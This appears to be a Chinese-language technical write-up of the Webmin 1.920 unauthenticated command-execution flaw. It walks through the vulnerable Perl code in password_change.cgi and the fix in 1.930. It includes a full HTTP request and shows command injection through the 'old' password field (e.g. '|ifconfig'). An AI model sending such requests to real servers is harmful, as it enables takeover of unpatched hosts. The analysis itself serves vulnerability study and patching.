漏洞需要开启密码重置功能。在控制界面 https://ip:10000/webmin/edit_session.cgi?xnavigation=1
等待webmin重启,配置生效。查看webmin的配置文件,可以发现passwd_mode
的值已经从0
变为了2
。
# cat /etc/webmin/miniserv.conf
...
passwd_mode=2
...
抓取到如下数据包:
POST /password_change.cgi HTTP/1.1
Host: yourip:10000
Connection: close
Content-Length: 63
Cache-Control: max-age=0
Origin: https://yourip:10000
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: same-origin
Referer: https://yourip:10000/session_login.cgi
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: redirect=1; testing=1; sessiontest=1; sid=x
user=root&pam=1&expired=2&old=buyaoxiedaopocli&new1=buyaoxiedaopocli&new2=buyaoxiedaopocli
在参数old
后加上|ifconfig
执行ifconfig
命令。
如果user不存在,同样能执行命令
先整体看一下入口代码,password_change.cgi的第18-31行:
# Is this a Webmin user? if (&foreign_check("acl")) { &foreign_require("acl", "acl-lib.pl"); ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users(); if ($wuser->{'pass'} eq 'x') { # A Webmin user, but using Unix authentication $wuser = undef; } elsif ($wuser->{'pass'} eq '*LK*' || $wuser->{'pass'} =~ /^\!/) { &pass_error("Webmin users with locked accounts cannot change ". "their passwords!"); } }
这段代码用于根据请求中的user参数来查找其值是否事webmin的用户。假设只存在一个用户是root,且user=root
,那自然$wuser
为root
。但如果我们不知道用户名即user=xxxx
,则在经过grep
操作后$wuser
的值仍然为undef
。
但是紧接着一个比较语句,这句代码会直接导致$wuser
的值从undef
变为{}
所以在接下来的更新密码部分,无论我们提供的user
值是否是webmin的用户,都会进入到if ($wuser) {...}
这条分支中。
因此接下去只需要看password_change.cgi的第37-40行:
if ($wuser) { # Update Webmin user's password $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'}); $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/); ... }
首先需要吐槽的是外国的这篇文章 https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html , 分析了一大堆的unix_crypt
,然后突然冒出一句话说we will use "vertical bar (|)"
。写的啥玩意啊,这跟RCE有啥关系???
重点看 pass_error
这行代码,当密码验证不正确的时候将:
&pass_error($text{'password_eold'},qx/$in{'old'}/);
注意$in{'old'}
即参数old
,而且放在了qx/.../
中!
下图所指即命令执行后的结果,这是能直接回显的原因。
所以实际上无需|
这些符号,直接注入即可。
顺便说个笑话,见github issue https://github.com/webmin/webmin/issues/947
webmin 1.930 修复了该漏洞,简单粗暴,去掉qx: